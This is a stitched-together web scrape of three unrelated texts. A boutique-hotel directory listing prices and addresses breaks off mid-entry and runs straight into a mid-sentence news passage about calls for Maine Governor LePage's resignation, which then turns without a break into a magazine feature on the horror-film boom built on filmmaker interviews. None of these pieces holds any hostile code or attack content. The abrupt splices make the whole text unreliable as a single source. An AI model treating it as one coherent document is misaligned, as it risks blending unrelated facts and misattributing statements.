Viroth’s Villa
Siem Reap, Cambodia
Rooms start at £48.77
#14, street 23 Wat Bo village, Sien Reap-Angkor, Cambodia, Siem Reap, 0017
More at Viroth’s Villa website
Colombia
B.O.G. Hotel
Bogotá, Colombia
Rooms start at £91.15
CR 11 no 86 74, Bogota, Cundinamarca, 11001
More at B.O.G. Hotel website
France
Hôtel Le A
Paris, France
Rooms start at £98.55
4 rue d’Artois, 75008, Paris, France
More at Hôtel Le A website
Les Sardines aux Yeux Bleus
Languedoc-Roussillon, France
Rooms start at £84.04
Hameau de Gattigues, 30700, Aigaliers, Languedoc-Roussillon, France
More at Les Sardines aux Yeux Bleus website
Le Trésor
Languedoc-Roussillon, France
Rooms start at £99.32
20 Place de l’Eglise, 11230, Sonnac-sur-l’Hers, Languedoc-Roussillon, France
More at Le Trésor website
Le Lodge Kerisper
Brittany, France
Rooms start at £76.4
4 rue du Latz, 56470, La Trinité-sur-Mer, Bretagne, Morbihan, France
More at Le Lodge Kerisper website
Toile Blanche
Côte d’Azur, France
Rooms start at £75.63
826 Chemin de la Pounchounière, 06570, Saint-Paul, Côte D’Azur, France
More at Toile Blanche website
Château La Thuilière
Dordogne, France
Rooms start at £75.63
Château La Thuilière, 24400, Saint Front de Pradoux, Dordogne, France
More at Château La Thuilière website
Greece
Fresh Hotel
Athens, Greece
Rooms start at £73.57
26 Sophokleous & Kleisthenous Street, Athens, 10552
More at Fresh Hotel website
Hungary
Brody House
Budapest, Hungary
Rooms start at £53.48
Bródy Sándor utca 10, Budapest, 1088
More at Brody House website
India
Tree of Life Resort & Spa
Jaipur, India
Rooms start at £93.03
Kacherawala | Jaipur, Kookas 302028, India, Jaipur, Rajasthan, 302028
More at Tree of Life Resort & Spa website
Malabar Escapes: Trinity
Kerala, India
Rooms start at £84.04
1/658 Residale Street, Parade Ground, Fort Cochin, Fort Cochin, Kerala, 682001
More at Malabar Escapes: Trinity website
Indonesia
L Hotel Seminyak
Bali, Indonesia
Rooms start at £48.08
Jalan Raya Petitenget, No. 8L, Seminyak, Bali, 80361
More at L Hotel Seminyak website
Kemang Icon by Alila
Jakarta, Indonesia
Rooms start at £80.45
Kemang Raya 1, Jakarta, DKI Jakarta, 12730
More at Kemang Icon by Alila website
Ireland
Bellinter House
County Meath, Ireland
Rooms start at £91.68
Navan, County Meath
More at Bellinter House website
Italy
Sextantio Albergo Diffuso
Abruzzo, Italy
Rooms start at £76.40
Via Principe Umberto, Santo Stefano di Sessanio, Abruzzo, 67020
More at Sextantio Albergo Diffuso website
Hotel Signum
Aeolian Islands, Sicily, Italy
Rooms start at £61.12
Via Scalo 15, Malfa, Salina, Aeolian Islands, Sicily, 98050
More at Hotel Signum website
Torre Fiore Hotel Masseria
Basilicata, Italy
Rooms start at £76.40
Contrada Terranova Snc, Pisticci, Basilicata, 75015
More at Torre Fiore Hotel Masseria website
Floroom
Florence, Italy
Rooms start at £72.58
Floroom 1 via del pavone n.7, Floroom 2 via del sole n.2, Florence, Tuscany, 50125
More at Floroom website
Le Lumie
Sicily, Italy
Rooms start at £84.04
106 Via Alessandro Grana, Modica, Sicily, 97015
More at Le Lumie website
Don Ferrante
Puglia, Italy
Rooms start at £99.32
27 Via San Vito, Monopoli, Bari, 70043
More at Don Ferrante website
Palazzo Bontadosi Hotel & Spa
Umbria, Italy
Rooms start at £61.12
Piazza del Comune, 19, Montefalco (PG), Umbria, 06036
More at Palazzo Bontadosi Hotel & Spa website
Masseria Fumarola
Puglia, Italy
Rooms start at £84.04
Via Villa Castelli 104, Martina Franca, Puglia, 74015
More at Masseria Fumarola website
Masseria Cervarolo
Puglia, Italy
Rooms start at £79.46
SP 14 Contrada Cervarolo, Ostuni, Brindisi, 72017
More at Masseria Cervarolo website
Borgo della Marmotta
Umbria, Italy
Rooms start at £68.76
Loc. Poreta 1, Spoleto, Umbria, 06049
More at Borgo della Marmotta website
Monaci delle Terre Nere
Sicily, Italy
Rooms start at £91.68
Via Monaci snc, Zafferana Etnea (CT), Sicily, 95019
More at Monaci delle Terre Nere website
Mexico
La Purificadora
Puebla, Mexico
Rooms start at £82.87
802 Callejón de la 10 Norte, Paseo San Francisco, Barrio el Alto, Puebla, 72000
More at La Purificadora website
Morocco
Riad 72
Marrakech, Morocco
Rooms start at £99.33
72 Arset Awsel, Dar El Bacha, Marrakech, Morocco, 40000
More at Riad 72 website
Talaa 12
Marrakech, Morocco
Rooms start at £91.68
12 Talaa Ben Youssef, Medina, Marrakech, 40000
More at Talaa 12 website
Dar One
Marrakech, Morocco
Rooms start at £80.22
19 Derb Jemaa el Kebir, Hay Salam, Medina, Marrakech, 40030
More at Dar One website
Riad Azzar
Marrakech, Morocco
Rooms start at £99.32
94 Derb Moulay Abdelkader, Derb Dabachi, Marrakech, 40000
More at Riad Azzar website
Madada Mogador
Essaouira, Morocco
Rooms start at £74.68
5 rue Youssef El Fassi, Essaouira, 44000
More at Madada Mogador website
Le Jardin des Douars
Essaouira, Morocco
Rooms start at £86.09
Douar Sidi Yassine, Ida Oueguerd BP 209, Essaouira, Marrakech-Tensift-Al Haouz, 44000
More at Le Jardin des Douars website
Dar Maya
Essaouira, Morocco
Rooms start at £91.68
33 rue Oujda, Essaouira, Marrakech-Tensift-Al Haouz, 44000
More at Dar Maya website
Palais Amani
Fez, Morocco
Rooms start at £85.56
12 Derb el miter, Oued Zhoune, Hay Blida, Fez, 30000
More at Palais Amani website
P’tit Habibi
Marrakech, Morocco
Rooms start at £84.8
59 bis touala Sidi Ghanem, Zaouia sidi bellabes Bab Lakhmis, Marrakech, 40030
More at P’tit Habibi website
Riad Anyssates
Marrakech, Morocco
Rooms start at £63.03
144 Derb El Bomba, Marrakech, 40000
More at Riad Anyssates website
Netherlands
College Hotel
Amsterdam, Netherlands
Rooms start at £98.55
Roelof Hartstraat 1, Amsterdam, 1071VE
More at College Hotel website
Portugal
Memmo Alfama
Lisbon, Portugal
Rooms start at £89.38
27 Travessa Das Merceeiras, Alfama, Lisbon, Lisboa e Vale do Tejo, 1100-348
More at Memmo Alfama website
Memmo Baleeira
Sagres, Portugal
Rooms start at £51.95
Sítio da Baleeira, Sagres, Faro, 8650-357
More at Memmo Baleeira website
Farol Design Hotel
Cascais, Portugal
Rooms start at £74.68
7 Avenida Rei Humberto II de Itália, Cascais, 2750-461
More at Farol Design Hotel website
Hotel Teatro
Porto, Portugal
Rooms start at £82.51
84 Rua Sá da Bandeira, Porto, 4000-427
More at Hotel Teatro website
Romania
Copsamare Guesthouses
Transylvania, Romania
Rooms start at £86.60
Strada Principala 216, Copsa Mare – Biertan, Sibiu, 557046
More at Copsamare Guesthouses website
Singapore
Wanderlust
Singapore, Singapore
Rooms start at £91.41
2 Dickson Road, Singapore, 209494
More at Wanderlust website
South Africa
The Grand Café & Rooms
Garden Route & Winelands, South Africa
Rooms start at £68.24
27 Main Road, Plettenburg Bay, 6600, Garden Route & Winelands
More at The Grand Café & Rooms website
Spain
Hospes Las Casas del Rey de Baeza
Seville, Spain
Rooms start at £100.84
Calle Santiago, Plaza Jesús de la Redención, Seville, Seville Province, 41003
More at Hospes Las Casas del Rey de Baeza website
Cortijo del Marqués
Granada Province, Spain
Rooms start at £84.04
Camino del Marqués, Albolote, Granada, 18220
More at Cortijo del Marqués website
Murmuri
Barcelona, Spain
Rooms start at £83.77
104 Rambla de Catalunya, Barcelona, España, 08008
More at Murmuri website
Hotel Pulitzer
Barcelona, Spain
Rooms start at £83.27
Calle Bergara, 8, Barcelona, Catalunya, 08002
More at Hotel Pulitzer website
Meliá Barcelona Sky
Barcelona, Spain
Rooms start at £80.22
272–286 Carrer Pere IV, Barcelona, 08005
More at Meliá Barcelona Sky website
DestinationBCN
Barcelona, Spain
Rooms start at £63.03
11 Ronda Universitat, Barcelona, 08007
More at DestinationBCN website
Astoria7 Hotel
San Sebastián, Spain
Rooms start at £50.89
1 Sagrada Familia, San Sebastián, Basque Country, 20010
More at Astoria7 Hotel website
Casona de Quintana
Basque Country, Spain
Rooms start at £74.79
C/ Sitio del Castillo, 1, Quintana de Soba, Cantabria, 39806
More at Casona de Quintana website
Castell d’Empordà
Empordà, Spain
Rooms start at £76.4
3 Castell d’Empordà s/n, La Bisbal, Empordà, Girona, 17115
More at Castell d’Empordà website
Puro Hotel
mallorca, Spain
Rooms start at £98.55
C. Montenegro 12, Palma de Mallorca, Mallorca, 07012
More at Puro Hotel website
L’Avenida
Mallorca, Spain
Rooms start at £97.02
9 Gran Via, Sóller, Mallorca Balearic Islands, 07100
More at L’Avenida website
Town House
Marbella, Spain
Rooms start at £95.50
C/ Alderete 7, Plaza Manuel Cantos (ex Plaza Tetuán), Marbella, 29601
More at Town House website
Muga de Beloso
Pamplona, Spain
Rooms start at £90.91
Calle Cuesta de Beloso Bajo 11, Pamplona, 31006
More at Muga de Beloso website
Hospes Palau de la Mar
Valencia, Spain
Rooms start at £90.91
14 Navarro Reverter, Valencia, 46004
More at Hospes Palau de la Mar website
Sweden
Story Hotel Riddargatan
Stockholm, Sweden
Rooms start at £98.68
Riddargatan 6, Stockholm, 114 35
More at Story Hotel Riddargatan website
Hotel J
Stockholm, Sweden
Rooms start at £90.92
1 Ellensviksvägen, Stockholm, SE-131 28 Nacka Strand
More at Hotel J website
Thailand
Metropolitan by Como, Bangkok
Bangkok, Thailand
Rooms start at £92.31
27 South Sathorn Road, Tungmahamek, Sathorn, Bangkok, Thailand, Thailand 10120
More at Metropolitan by Como, Bangkok website
Ma Du Zi Hotel
Bangkok, Thailand
Rooms start at £83.20
9/1 (At the corner of Sukhumit Soi 16) Ratchadaphisek Road, Klongtoey, Klongtoey, Bangkok, Thailand 10110
More at Ma Du Zi Hotel website
Tenface
Bangkok, Thailand
Rooms start at £56.86
81 Soi Ruamrudee 2, Wireless Road, Lumpini, Pathumwan, Bangkok 10330 Thailand, Bangkok, Thailand, Thailand 10330
More at Tenface website
Oriental Residence
Bangkok, Thailand
Rooms start at £94.16
110 Wireless Road, Bangkok, Thailand 10330
More at Oriental Residence website
Cabochon Hotel
Bangkok, Thailand
Rooms start at £96.08
14/29 Sukhumvit 45 Road, Klongton Nua, Wattana, Bangkok, Thailand 10110
More at Cabochon Hotel website
AKA Resort & Spa
Hua Hin, Thailand
Rooms start at £53.65
152 Moo 7, Baan Nhong Hiang, Hin Lek Fai, Hua Hin, Prachubkirikhan, Thailand 77110
More at AKA Resort & Spa website
Aava Resort & Spa
Khanom, Thailand
Rooms start at £100
28/3 Moo 6, Nakhon Si Thammarat, Khanom, Thailand, Thailand 80210
More at Aava Resort & Spa website
The Scent Hotel
Koh Samui, Thailand
Rooms start at £92.40
58/1 Moo 4 Bangrak Beach, Koh Samui, Thailand, Thailand 84320
More at The Scent Hotel website
Turkey
Witt Istanbul Suites
Istanbul, Turkey
Rooms start at £95.50
Defterdar Yokusu No:26, Cihangir, Beyoglu, Istanbul, Turkey, 34433
More at Witt Istanbul Suites website
The House Hotel Galatasaray
Istanbul, Turkey
Rooms start at £52.71
Firuzaga Mah. Bostanbasi Cad. no: 19, Istanbul, 34440
More at The House Hotel Galatasaray website
Vault Karakoy, The House Hotel
Istanbul, Turkey
Rooms start at £57.3
Bankalar Caddesi No. 5 Karakoy, Istanbul, Istanbul Province, 34421
More at Vault Karakoy, The House Hotel website
United Kingdom
Queensberry Hotel
Bath, United Kingdom
Rooms start at £99
4–7 Russel Street, Bath, BA1 2QF, United Kingdom
More at Queensberry Hotel website
The Green House
Dorset, United Kingdom
Rooms start at £99
4 Grove Road, Bournemouth, Dorset BH1 3AX, United Kingdom
More at The Green House website
The Bull Hotel
Dorset, United Kingdom
Rooms start at £100
34 East Street, Bridport, Dorset, DT6 3LF, United Kingdom
More at The Bull Hotel website
Artist Residence Brighton
Brighton, United Kingdom
Rooms start at £72
33 Regency Square, Brighton, East Sussex BN1 2GG, United Kingdom
More at Artist Residence Brighton website
The Beach at Bude
Cornwall, United Kingdom
Rooms start at £95
The Beach, 21-23 Summerleaze Crescent, Bude, Cornwall EX23 8HJ, United Kingdom
More at The Beach at Bude website
21212 Restaurant with Rooms
Edinburgh, United Kingdom
Rooms start at £95
3 Royal Terrace, Edinburgh, EH7 5AB, United Kingdom
More at 21212 Restaurant with Rooms website
The Gallivant
East Sussex, United Kingdom
Rooms start at £85
New Lydd Road, Camber, Rye, East Sussex TN31 7RB, United Kingdom
More at The Gallivant website
The Wheatsheaf Inn
Cotswolds, United Kingdom
Rooms start at £100
West End, Northleach, Gloucestershire GL54 3EZ, United Kingdom
More at The Wheatsheaf Inn website
No 131
Cheltenham, United Kingdom
Rooms start at £100
131 Promenade, Cheltenham, Gloucester, Gloucestershire GL50 1NW, United Kingdom
More at No 131 website
Oddfellows
Chester, United Kingdom
Rooms start at £99
20 Lower Bridge Street, Chester, Cheshire CH1 1RS, United Kingdom
More at Oddfellows website
Nearwater
Cornwall, United Kingdom
Rooms start at £95
Nearwater, Polvarth Road, St Mawes, Cornwall TR2 5AY, United Kingdom
More at Nearwater website
The Magdalen Chapter
Exeter, United Kingdom
Rooms start at £84
Magdalen Street, Exeter, Devon EX2 4HY, United Kingdom
More at The Magdalen Chapter website
The Grosvenor Arms
Dorset, United Kingdom
Rooms start at £80
The Commons, Shaftesbury, Dorset, SP7 8JA, United Kingdom
More at The Grosvenor Arms website
The George in Rye
East Sussex, United Kingdom
Rooms start at £100
98 High Street, Rye, East Sussex TN31 7JT, United Kingdom
More at The George in Rye website
Eckington Manor
Worcestershire, United Kingdom
Rooms start at £89
Hammock Road, Eckington, Worcestershire, WR10 3BJ, United Kingdom
More at Eckington Manor website
The Swan Hotel & Spa
Lake District, United Kingdom
Rooms start at £99
Newby Bridge, Cumbria LA12 8NB, United Kingdom
More at The Swan Hotel & Spa website
Hope Street Hotel
Liverpool, United Kingdom
Rooms start at £76.50
40 Hope Street, Liverpool, L1 9DA, United Kingdom
More at Hope Street Hotel website
Escape
Llandudno, United Kingdom |
thought had called him a racist.
Democrats immediately called for LePage’s resignation. Republican leaders have met with LePage, but have differing opinions on what, if anything, the governor should do to quell the uproar.
But both have agreed that LePage, who has a long litany of controversial statements on record, has gone too far, both with racially charged remarks and abusive language toward Gattine.
“We are not talking about all that’s good about the state of Maine, we are not talking about our assets, we are not talking about our competitive advantages,” Alfond said. “We are talking about our governor who has become unhinged. He has threatened a sitting legislator. He wants to kill a sitting legislator. That is unbelievably wrong. Anyone today in the business world, in the nonprofit world, your board would have you out on the street within the hour and here we can’t even get Rep. Fredette to even think about coming into session right now.”
Phil Bartlett, chairman of the Maine Democratic Party, sent an email Thursday urging party faithful to call Republican legislators to tell them that “Gov. LePage must resign.”
“We have a historic opportunity to show the country that our state will loudly reject bigotry and hate. Please help us do that,” Bartlett wrote. He closed the email with the public phone numbers for every Republican senator and representative in the Legislature.
Thibodeau said there are “some votes” in his caucus who would support coming back to potentially censure LePage, although he said his caucus would not support removing LePage from office.
Asked how the governor’s recent actions could affect Republicans trying to keep their Senate majority in this November’s elections, Thibodeau replied: “Let’s just be honest. The governor has put Republicans in a tough spot.”
The meeting had been sought by Eves, who called for leaders of both parties Wednesday to sit down and discuss removing LePage or pushing for his resignation.
SOME LAWMAKERS WANT A ROLL-CALL VOTE
Although LePage appears to have enough support to avoid a legislative censure or some other form of punishment, lawmakers who believe his apologies are not sufficient atonement may look for ways to force a roll-call vote that would make public the names of lawmakers who do not support going into a special session. That could provide a potent weapon for Democrats to use on Nov. 8, when all seats in the Legislature are up for election.
In an interview with a radio station Tuesday morning, LePage suggested he was considering resigning, but he later backed off that. On Wednesday, he met with Gattine to apologize for the voice mail and, after that meeting, LePage said he would not resign, but would seek “spiritual guidance” with his family.
LePage also denied suggestions that he has a substance abuse problem or mental health issues.
Rick Bennett, the chairman of the Maine Republican Party, in a statement issued Wednesday, commended Republican lawmakers who have been “calling for a higher level of public discourse,” while he also said that race shouldn’t be part of enforcing drug or other laws and those who opposed Republican policies “are not our enemies, but our adversaries.” Bennett also said that LePage’s policies have improved the state, but he admitted that the governor “has flaws.”
Bennett’s statement did not address whether he thought the governor should resign or be removed from office, but said “the controversies regarding Gov. LePage have been tremendously difficult and unnecessary for the people of Maine.”
Bennett released an amended statement Thursday that added support for Second Amendment gun rights, but also called for responsible gun ownership.
“We abhor violence and the threat of violence to settle disagreements and injustices” the corrected statement said.
That appeared to be a reference to an interview with LePage last week in which the governor said he wished it was 1825 so he could challenge Gattine to a duel and point a gun “right between his eyes.”
NO AGREEMENT ON HOW TO POLL LEGISLATORS
According to the Maine Constitution, the Legislature can convene at the call of the House speaker and Senate president with the consent of a majority of the members in each political party, based on a poll of those members. It remains unclear how that poll would be conducted and if the vote on the poll would be made public.
After a closed-door House Republican caucus Tuesday night, Rep. Robert Nutting, R-Oakland, suggested the 50 or so members present had been polled, but the results were not released.
“We had a two-hour meeting, all kinds of people spoke frankly and at the end of the meeting they tallied the members and leadership will release the results after (Fredette’s) had a chance to talk to the governor and probably some Democrats and some Senate Republicans and then you will know, too,” Nutting, a former House speaker who is not running for re-election, told a reporter Tuesday night. “It was recorded by the staff and only leadership knows – we know nothing.”
In a news conference after the caucus meeting Tuesday, Fredette said he would not be releasing any results from the caucus poll or tally mentioned by Nutting, but Fredette said he was confident there wasn’t sufficient support from House Republicans for a special legislative session.
Based on the constitution, at least 45 of the 89 Republicans in the Legislature would have to agree to convene, while 47 of the Legislature’s 93 Democrats would have to say, ‘yes’ to a special session to consider sanctioning LePage in some fashion. But as of Thursday, Eves and Thibodeau, the two leaders who would initiate the poll of their respective bodies, could not agree on what they would be asking lawmakers to consider. Both leaders also said they would be seeking more legal and legislative procedural guidance on Friday.
Share
filed under:Despite being the backbone of Hollywood, horror movies have never been revered in the eyes of Hollywood. Now that the genre is conquering not just the box office (thanks It) but the critical conversation too (thanks Get Out), horror is one of the last great hopes in a shrinking industry. Scott Meslow explores how we got there.
Hollywood has always relied on horror movies. In an industry that churns in a constant cycle of fads and trends, horror has reliably been the safest bet, with decades of box-office returns definitively proving that audiences will pay money to get the shit scared out of them.
Of course, relying on something isn’t the same as respecting it. Hollywood has long had a kind of reflective snobbishness about horror movies—a self-perpetuating cycle in which studios, largely writing horror movies off as cheap and lazy, would race to the bottom with cheap, lazy horror movies. “When I first started out and would go on pitch meetings, there was always this kind of eye-roll that would come with pitching a horror movie when you were dealing with the studios,” says horror director Mike Flanagan, whose recent movies include Hush and Gerald’s Game. “Unless it was viewed as a cheap product that could turn a lot of profit, there wasn’t a lot of interest in making it good. It was like fast food. 'We can make this cheap, on a grand scale, and people will consume it. It doesn’t matter if it’s empty calories.'”
Those awful studio movies still exist, as anyone who saw the Flatliners remake can tell you—but over the past decade or so, they’ve rapidly been outpaced by an explosion of fresh horror talent, championed by critics and (generally) embraced by audiences who are hungry for unapologetically adult-oriented fare.
What's the single trend that unifies all the horror movies being released right now? The answer: they're all so damn good. Horror movies, which were snobbishly dismissed for so long, are now routinely better-reviewed than your average "prestige" movie. And this year—for the first time ever—the most critically lauded movie released to date is a horror movie. For the first time, cinema’s most commercially viable genre is also its most acclaimed.
What spawned this horror renaissance? It starts with the talent making it. Horror is the ideal genre for an up-and-coming filmmaker to cut his or her teeth—just ask James Cameron or Steven Spielberg—and the film industry has been injected with a slew of young producers and filmmakers who are passionately committed to telling horror stories. "It’s an even battleground with low expectations," says director Adam Wingard, the man behind movies like You’re Next, The Guest, and Netflix’s adaptation of Death Note. "If you come in there and show that you have an eye for something different, and a point of view, you can stand out immediately."
I took a look at the full landscape of the modern-day horror movie—and interviewed expert horror filmmakers Adam Wingard, Andy Muschietti, Karyn Kusama, and Mike Flanagan—to get a sense of where things stand right now, and where it all might be going.
1. Everything old is new again, forever
When a Hollywood studio greenlights a brand-new entry in a longstanding horror franchise, the reasoning tends to be pretty straightforward: You can lower your risk of a flop with a name people recognize. This is how we got to 11 Friday the 13th movies, 9 Nightmare on Elm Street movies, and a new Halloween next year. "Most Hollywood executives make horror movies because they make money, not because they like them, and I think most of the fans can tell that," said producer Jason Blum in a March interview with Vulture. "When a studio makes sequels to a horror movie—not always, but most of the time—it’s very cynical and they suck."
It's a challenge for even the most seasoned and passionate horror director. In 2016, Adam Wingard was tapped to mount a proper continuation of The Blair Witch Project, which had its franchise potential snuffed out after an ill-considered sequel in 2000. "Something like Blair Witch, from the get-go, has a built-in expectation to it," says Wingard. "The first film did huge business, the second film was a big disappointment. And here we were, saying, ‘Is it possible to resurrect this thing and make it work in a new context?’ It wasn’t just about trying to make a scary horror film. It was trying to work within the confines of a studio and a pre-existing brand, or name, or whatever. That added some challenges."
Reboots and re-imaginings aren’t going anywhere—they’re an entrenched part of Hollywood’s business model. A Saw reboot comes out this week just seven years after the now-inaccurately titled The Final Chapter. But when you look at the raw numbers, a pattern emerges. Despite the common wisdom that franchise movies are a safer bet, they tend to cost more and underperform. Blair Witch grossed just $20 million domestically, Rings grossed just $27 million, and Jigsaw is tracking to open well behind many of the orirginal horror movies released this year. Hollywood keeps making these movies—but the evidence that audiences actually want them is dodgy at best.
2. The other successful cinematic universe
And that brings us to another inescapable Hollywood trend: cinematic universes. It rarely comes up in the same sentence—maybe because it doesn’t have a catchy name like the Marvel Cinematic Universe—but the successful launch of the Conjuring-verse is far less remarked upon, and just as impressive a feat. Beginning with 2013's The Conjuring and its 2016 sequel—a third is in development—director James Wan has overseen a series of interconnected movies that briefly introduce horror concepts later explored, in great detail, in standalone movies. There’s Annabelle, and the prequel Annabelle: Creation, both of which were huge hits. Next year brings The Nun, and after that The Crooked Man, which could plausibly spin off multiple sequels in their own right. "James Wan—what he’s directing and producing—is really great," says Adam Wingard. "I think he’s got a real handle on putting stuff that is on the pulse of the mainstream."
James Wan spoke about the ever-expanding Conjuring universe in an interview with Entertainment Weekly in August. "When we were starting out, when we made the first Conjuring, we always kind of quietly, jokingly, among ourselves, felt that the world of the Warrens, and all the interesting artifacts they have in their haunted room, could have their own stories and therefore spawn movies," he said. "We had hopes and aspirations but we never thought in our wildest dreams that we could actually go on and do it." (Wan was unavailable for an interview for this story.)
But when you're trying to establish a whole universe, recent Hollywood history shows there’s a steep cost for failure. Universal has spent the past few years trying to launch a series of interconnected action/horror hybrid movies, in a grand scheme dubbed the "Dark Universe," with big-name stars like Tom Cruise, Russell Crowe, Javier Bardem, and Johnny Depp all slated to star.
The Dark Universe was originally supposed to begin with 2014’s Dracula Untold, but that was written out of continuity after an indifferent reception. Universal tried again, unsuccessfully, with this summer’s flop The Mummy. Next up is supposed to be Bill Condon’s Bride of Frankenstein—purportedly starring Angelina Jolie (though there are rumors that Gal Gadot may take over if Jolie quits). But Bride of Frankenstein has already been delayed from its announced release date of 2019, and it’s not clear when (or if) it'll actually happen.
3. Blumhouse: Too small to fail
Of course, The Mummy cost $125 million to produce, and tens of millions more to market. "They push all of their chips onto one number," says director Mike Flanagan, whose own slate of horror movies includes Ouija: Origin of Evil, Hush, and Gerald’s Game. "They pour so much risk and so much money into these huge flops. But if you just believe in the filmmakers and the audience, it’s a much safer bet."
Flanagan is speaking from experience. He’s one of several filmmakers associated with Blumhouse, the horror-centric production studio founded by Jason Blum. "There’s a lot more freedom, creatively [at Blumhouse]," says Flanagan. "A lot more of an attitude that you’re the filmmaker. 'Please execute your vision and we’ll find an audience for it.' As opposed to 'Please come in and execute our vision.' Or 'Please come in and make this widget, because we already know how to sell it.'"
By now, the Blumhouse model is widely recognized: budget a movie at around $5 million (ideally even less), give a talented filmmaker an unusual amount of creative freedom, and watch the box-office grosses roll in. It’s a system that bucks an era of ever-increasing Hollywood budgets—even the relatively thrifty Conjuring movies cost tens of millions to produce—and, crucially, it has led to consistent critical and commercial hits. When a movie like The Green Inferno or The Belko Experiment fails to find an audience, everyone shrugs and moves on. But when a movie like Paranormal Activity or The Purge makes a splash, the profit margins are insane. Each film is a low-risk, high-reward bet.
Even by Blumhouse’s unusually high bar, 2017 has been a banner year. M. Night Shyamalan’s Split grossed $138 million (abnormally high for Blumhouse) on a budget of $9 million. Just this month, Happy Death Day toppled Blade Runner 2049 from the top of the box office. It has already grossed more than $50 million on a $4.8 million budget, and is poised to do brisk business through Halloween.
And then there’s Get Out. Every single filmmaker I interviewed for this article specifically mentioned Get Out as a standout entry in this particularly rich time for horror. "For a first-time feature filmmaker, it’s such a grand slam," says Mike Flanagan. "Such challenging material that could terrify any studio marketing department. But that’s where the exciting voices are coming from."
The massive success of Get Out is proof that audiences are hungry for the kinds of stories and perspectives that larger, more risk-averse studios have willfully ignored for so long. (Of course, whether a movie like Get Out is actually "risky" is also another valid question.) "Being an African American, I have never seen my perspective in a horror film,” said writer/director Jordan Peele at a recent Q&A. “Get Out has my worst fears realized as a black man in this country—from the evil white girl who’s been lying to you, to the lacrosse stick—those things are foreign to me." And Get Out reinforces horror's unique ability to tackle social commentary, because the natural empathy a film's audience feels for its protagonist forces every viewer to consider everything from his point of view. Regardless of your politics, when that police car pulls up at the end of the movie, you know exactly what it means.
But is the Blumhouse model sustainable? It’s never going to fail—that’s the whole point in keeping overhead so low. But it’s hard to get excited about the Blumhouse slate for 2018: a new Halloween movie and new installments in the Insidious and Purge franchises, which are already beginning to look like the long-in-the-tooth horror franchises Blumhouse was theoretically created to circumvent. The company’s forays into other genres have led to forgettable flops like the teen musical Jem and the Holograms, the martial arts drama Birth of the Dragon, and the Christian-themed comedy The Resurrection of Gavin Stone.
And the firmness of that low budget means that many Blumhouse horror movies utilize similar cost-cutting measures—like, say, confining the majority of the action to a single location—which means, for all the creative freedom, that more eccentric or effects-heavy horror productions are a harder sell. "There are things I can’t do when I’m working with $1 million, or $5 million, or even $10 million. I welcome the right $30 million," says director Karyn Kusama, whose recent horror movies include The Invitation and a segment of the horror anthology XX.
4. The biggest horror movie in history
But while Get Out won the cultural conversation—and turned in a staggering box-office gross—it didn’t get within $400 million of It. Produced for $35 million, It is poised to become the biggest horror movie in history. It’s massive success bested even the most optimistic projections by box-office analysts by more than $50 million.
What made It such an outsized hit? It's a question director Andy Muschietti, who will also helm the sequel, has been contemplating since the movie's release. "This is a story that resonates a lot with the situation that society is living in right now," he told me in September. "It talks to us about what it is to live in a culture of fear, you know? Where fear is used as a tool to divide and control and subdue. For people who didn’t know this story—and who went to the movie to see a horror movie—they went and found something else.”
But what lessons will Hollywood learn from the smash success of It? One possibility is a boom in nostalgia horror, inspired by the twin successes of It and the Stephen King-inspired Stranger Things. "I think that has a very limited lifespan," says Adam Wingard. "I think It and Stranger Things are as far as you can really take that. The fact that I saw, the other day, that some other movie was being called part of the 'kids on a bicycle' genre… That’s when you know you’re in trouble. You can’t do this forever. That’s not a genre. That’s just a thing that happens in movies that you’ve seen so many times before. Everyone’s gonna get sick of it."
Andy Muschietti, for his part, isn't worried about a bunch of It knockoffs riding his coattails. "I’m not a fan of trends," he says. "I’m more interested in things that break the trends."
But even if It inspires a wave of lesser copycats, its massive success—which proves that a horror movie that costs six times your average Blumhouse feature can be more than six times as successful—will almost certainly inspire Hollywood studios to pump more money into developing and producing horror movies in the near future.
"Thanks to It, you’re going to see the studios take a lot more chances on a very specific vision," says Mike Flanagan. "An R-rated horror film about children being eaten by a monster that lives in a sewer is not normally something that a studio would throw their weight behind. But we’ve seen the success of it, which props everyone up."
5. Netflix: Where streaming meets screaming
Karyn Kusama’s first scary movie was the 2009 horror-comedy Jennifer’s Body. Studio expectations were high; screenwriter Diablo Cody was fresh off an Oscar win for Juno, and trailers repeatedly teased a titillating kiss between stars Megan Fox and Amanda Seyfried. When Jennifer’s Body turned out to be a minor box-office disappointment, Kusama didn't direct another feature for six years. (For the record: Jennifer's Body is underrated!)
What happened next? Last year, Kusama’s tremendously creepy low-budget thriller The Invitation hit Netflix—after playing, to strong reviews, at a few film festivals—and promptly found an audience of tens of millions of prospective viewers. Netflix doesn’t provide specific streaming numbers, but anecdotally, The Invitation has been a sizable hit with Netflix subscribers, driven almost entirely by Netflix algorithms and word-of-mouth. "I’m sort of surprised [The Invitation] worked on Netflix, because I’m always puzzled by the lack of direction I feel when I’m trying to find a movie on Netflix," says Kusama. "I’m always surprised when I hear the number of people who saw The Invitation just because it was available to stream. Streaming can open up a lot of doors for the genre."
The same thing happened to Mike Flanagan, whose nail-biting home-invasion thriller Hush became a buzzy hit with horror fans after it was acquired by Netflix. "It’s pretty shocking how quickly a movie can catch fire that way," says Flanagan. "I was nervous. I didn’t understand how it was that we were going to be able to drum up enthusiasm for the movie. It was really surprising—by the time our first weekend was over, we looked at it and said, 'Wow, I think more people sat down and watched this movie than ever would have seen it if we’d released it theatrically.’ I’m still getting emails and seeing tweets from people who have just tripped over Hush, saying 'This is great, and I’m telling all my friends.' That’s how these movies catch on. You don’t have to worry about missing the theatrical window." Flanagan’s follow-up to Hush, Gerald’s Game, was a Netflix exclusive.
And the company is only getting started. Next year, Netflix plans to produce 80 original movies—a slate that dwarfs the number produced by any conventional Hollywood studio by dozens—and will presumably acquire many more. It’s not as complete a selection as Shudder—a horror-centric service aimed at hardcore fans—but it’s an impressive and ever-growing slate of great horror movies that might have been overlooked in a traditional theatrical release. "They want to have very specific titles that are really going to excite and galvanize certain quadrants of their audience instead of trying to moderately engage everybody. And that leads to better movies," says Flanagan.
As long as you’re okay with watching horror alone at home and not in a theater full of screaming patrons—a concession to which every filmmaker I spoke with expressed some regret about—Netflix is poised to aggressively produce and acquire an ever-growing archive of horror exclusives.
6. The future of horror
So that’s where horror stands now. But in a particularly rich era for cinematic horror, what’s coming next? Every filmmaker I spoke with had some version of the same answer: Donald Trump.
